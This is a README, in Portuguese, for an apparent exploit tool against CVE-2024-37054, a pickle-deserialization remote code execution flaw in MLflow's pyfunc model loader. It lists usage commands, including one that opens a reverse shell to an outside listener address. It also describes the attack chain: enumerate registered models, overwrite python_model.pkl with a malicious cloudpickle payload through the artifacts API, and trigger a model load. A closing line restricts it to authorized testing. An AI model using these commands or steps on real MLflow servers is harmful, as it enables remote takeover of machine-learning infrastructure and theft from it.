CVE-2024-37054 — Desserialização RCE do pyfunc do MLflow

Severidade: Crítica
Afetado: MLflow 0.9.0 – 2.14.1
Tipo: Execução arbitrária de código via desserialização de pickle do Python

Descrição

mlflow.pyfunc.load_model() desserializa python_model.pkl do armazenamento de artefatos sem qualquer sanitização. Um atacante que consiga acessar a API REST de artefatos do MLflow pode substituir esse arquivo por um pickle malicioso, que executa comandos arbitrários do SO na próxima vez que o modelo for carregado.

Requisitos

pip install requests cloudpickle

Uso

# Enumera modelos registrados
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Modelo explícito + Autenticação Básica do MLflow
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

Opções principais

Como funciona

1. Descobrir — consulta /api/2.0/mlflow/registered-models/search para encontrar um modelo e seu run_id / experiment_id
2. Envenenar — faz PUT de um payload cloudpickle malicioso para /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
3. Acionar — qualquer caminho de código que chame mlflow.pyfunc.load_model() naquele modelo desserializa o payload e executa o comando

A etapa de acionamento requer um endpoint da aplicação que carregue o modelo. Se nenhum for conhecido, use --no-trigger (ou omita --trigger-url) e acione o carregamento por qualquer meio disponível.

Aviso Legal

Apenas para testes de penetração autorizados e fins educacionais.